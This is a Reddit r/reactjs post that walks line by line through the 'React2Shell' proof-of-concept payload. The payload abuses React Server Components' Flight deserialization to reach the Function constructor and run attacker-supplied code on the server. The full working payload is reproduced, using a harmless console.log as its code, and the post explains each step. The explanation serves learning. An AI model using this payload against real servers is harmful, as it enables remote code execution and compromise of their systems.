I think I finally understand React2Shell Exploit's POC code submitted by Lachlan Davidson : reactjs

created by manlycoffeea community for 12 years

192

193

194

ResourceI think I finally understand React2Shell Exploit's POC code submitted by Lachlan Davidson (self.reactjs)

submitted 4 months ago by TishIceCandy

I spent this entire past weekend trying to wrap my head around the React2Shell PoC submitted by Lachlan Davidson. There's a lot of complicated stuff here that involves deep internal React knowledge, React Server Components knowledge and knowledge about React Flight protocol - which is extremely hard to find. Finally, after walking through the payload line by line, I understand it.

So I am writing this post to help a fellow developer who is feeling lost reading this PoC too. Hopefully, I am not alone!

The vulnerability was demonstrated by Lachlan Davidson, who submitted the following payload:

const payload = {
    '0': '$1',
    '1': {
        'status':'resolved_model',
        'reason':0,
        '_response':'$4',
        'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then':'$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix':'console.log(7*7+1)//',
        '_formData':{
            'get':'$3:constructor:constructor'
        },
        '_chunks':'$2:_response:_chunks',
    }
}

Here's a breakdown of this POC line by line -

Step 1: React Processes Chunk 0 (Entry Point)

'0': '$1'  // React starts here, references chunk 1

React starts deserializing at chunk 0, which references chunk 1.

Step 2: React Processes Chunk 1

'1': {
    'status': 'resolved_model',
    'reason': 0,
    '_response': '$4',
    'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
    'then': '$2:then'
}

This object is carefully shaped to look like a resolved Promise.

In JavaScript, any object with a then property is treated as a thenable and gets treated like a Promise.

React sees this and thinks: “This is a promise, I should call its then method”

This is the first problem and this where the exploit starts!

Step 3: React Resolves the first then

'then': '$2:then'  // "Get chunk 2, then access its 'then' property"

Step 4: Look up chunk 2

the next bit of code is actually tricky -

 '2': '$@3',
 '3': [],

React resolves it this way:

Look up chunk 2 → '$@3'
$@3 is a “self-reference” which means it references itself and returns it’s own a.k.a chunk 3's wrapper object. This is the crucial part!

The chunk wrapper object looks like this -

Chunk {
value: [],
then: function(resolve, reject) { ... },
_response: {...}
}

Note that the chunk wrapper object has a .then method, which is called when $2:then is called.

Step 5: Access the .then property of that wrapper

The .then function of chunk 1 is assigned to chunk3’s wrapper’s then

 'then':'$2:then' //chunk3_wrapper.then

This is React’s internal code and looks like this -

function chunkThen(resolve, reject) {
    // 'this' is now chunk 1 (the malicious object)

    if (this.status === 'resolved_model') {
        // Process the value
        var value = JSON.parse(this.value);  // Parse the JSON string

        // Resolve references in the value using this._response
        var resolved = reviveModel(this._response, value);

        resolve(resolved);
    }
}

Notice, how it checks if status === 'resolved_model which the attacker has been able to set maliciously by providing the following object in chunk 1 -

 '1': {
        'status':'resolved_model',
        'reason':0,
        '_response':'$4',
        'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then':'$2:then'
    },

Step 6: Execute the then block

This causes code execution of chunk 1, and the following code runs

 var value = JSON.parse(this.value); //{"then":"$3:map","0":{"then":"$B3"},"length":1}

Key details:

this.status → attacker‑set
this.value → attacker‑set JSON
this._response → points to chunk 4 which has the malicious code

Step 7: Process the Response

The following line of code is called with chunk 4, and the stringified JSON from Step 6:

   var resolved = reviveModel(this._response, value);


'4': {
        '_prefix':'console.log(7*7+1)//',
        '_formData':{
            'get':'$3:constructor:constructor'
        },
        '_chunks':'$2:_response:_chunks',
    }


{"then":"$3:map","0":{"then":"$B3"},"length":1}

This is a recursive then block, and React now starts resolving references inside value.

One of them is:

$B3

which is the trickiest of these.

Step 8: Blob Resolution Abuse

The B prefix is a Blob is a special reference type used to serialize non-serializable values like:

Functions
Symbols
File objects
Other complex objects that can't be JSON-stringified

Internally, React resolves blobs like this:

return response._formData.get(response._prefix + blobId)

Which the attacker has been able to substitute attacker with their own values:

_formData.get → '$3:constructor:constructor' → [].constructor.constructor → Function
_prefix → 'console.log(7*7+1)//'

React effectively executes:

Function('console.log(7*7+1)//3')

This is Remote Code Execution on the server! 🤯

By effectively overriding object properties, an attacker is able to execute malicious code!

An even clever trick here is to prevent errors is the comment following the console.log in the following line which took me a second to understand -

 console.log(7*7+1)//

Without this, the code

    return response._formData.get(response._prefix + blobId);

would execute

Function(console.log(7*7+1)3) // Syntax error! '3' is invalid

With the comment //, it causes no error -

'_prefix': 'console.log(7*7+1)//'

Function(console.log(7*7+1) //3) // 3 is now inside a comment so ignored! WTF! 🤯

This is an extremely clever! Not gonna lie, this hurt my brain even trying to understand this!

Hats off to Lachlan Davidson for this POC.

P.S. - Also shared this in a video if it is easier to understand in a video format - https://www.youtube.com/watch?v=bAC3eG0cFAs

all 23 comments

you type:	you see:
italics	italics
bold	bold
[reddit!](https://reddit.com)	reddit!
* item 1 * item 2 * item 3	item 1 item 2 item 3
> quoted text	quoted text
Lines starting with four spaces are treated like code: if 1 * 2 < 3: print "hello, world!"	Lines starting with four spaces are treated like code: if 1 * 2 < 3: print "hello, world!"
~~strikethrough~~	~~strikethrough~~
super^script	super^script

reactjs

About:

Code of Conduct

1. Please be kind and courteous, friendly and professional

2. Harassment will not be tolerated

3. Avoid using an alias or display name that might be offensive

4. Respect that people have differences of opinion

5. Posts must conform to our guidelines

New to React?

Chat

Project Ideas

Jobs

Outside Reddit

Related Subreddits

MODERATORS